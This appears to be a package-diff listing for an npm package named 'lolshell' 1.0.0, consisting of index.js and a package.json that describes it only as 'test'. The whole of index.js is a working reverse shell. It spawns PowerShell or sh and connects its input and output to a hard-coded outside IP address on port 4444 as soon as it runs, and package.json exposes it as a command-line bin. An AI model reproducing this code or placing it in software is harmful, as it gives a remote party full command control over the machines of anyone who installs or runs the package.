lolshell 1.0.0
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- package/index.js +69 -0
- package/package.json +17 -0
package/index.js
ADDED
@@ -0,0 +1,69 @@
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const net = require('net');
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const { spawn } = require('child_process');
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// Function to send data from socket to process stdin
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function socketToProcess(socket, process) {
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socket.on('data', (data) => {
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process.stdin.write(data);
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});
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}
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// Function to send data from process stdout to socket
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function processToSocket(socket, process) {
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process.stdout.on('data', (data) => {
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socket.write(data);
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});
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}
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// Create a new TCP socket
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const socket = new net.Socket();
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// Determine the shell based on the operating system
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let shellCommand;
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switch (process.platform) {
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case 'win32':
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shellCommand = 'powershell.exe';
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break;
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case 'linux':
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shellCommand = 'sh';
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break;
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case 'darwin':
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shellCommand = 'sh';
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break;
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default:
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console.error('Unsupported operating system');
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process.exit(1);
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}
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// Spawn a new shell process
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const shell = spawn(shellCommand, ['-c', '-']);
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// Set up bidirectional communication between socket and process
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socketToProcess(socket, shell);
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processToSocket(socket, shell);
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// Handle process exit
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shell.on('exit', (code, signal) => {
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console.log(`Shell process exited with code ${code} and signal ${signal}`);
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socket.end(); // Close the socket when the process exits
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});
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// Handle process errors
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shell.on('error', (err) => {
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console.error('Shell process error:', err);
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});
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// Connect to the server
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socket.connect(4444, '13.232.31.123', () => {
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console.log('Connected to the server');
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});
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// Handle socket errors
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socket.on('error', (err) => {
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console.error('Socket error:', err);
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});
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// Handle socket close
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socket.on('close', () => {
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console.log('Connection closed');
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});
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package/package.json
ADDED
@@ -0,0 +1,17 @@
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{
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"name": "lolshell",
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"version": "1.0.0",
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"description": "test",
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"main": "index.js",
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"keywords": [
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"lolshell"
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],
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"author": "",
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"license": "ISC",
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"scripts": {
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"start": "node index.js"
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},
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"bin": {
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"lolshell": "./index.js"
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}
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}
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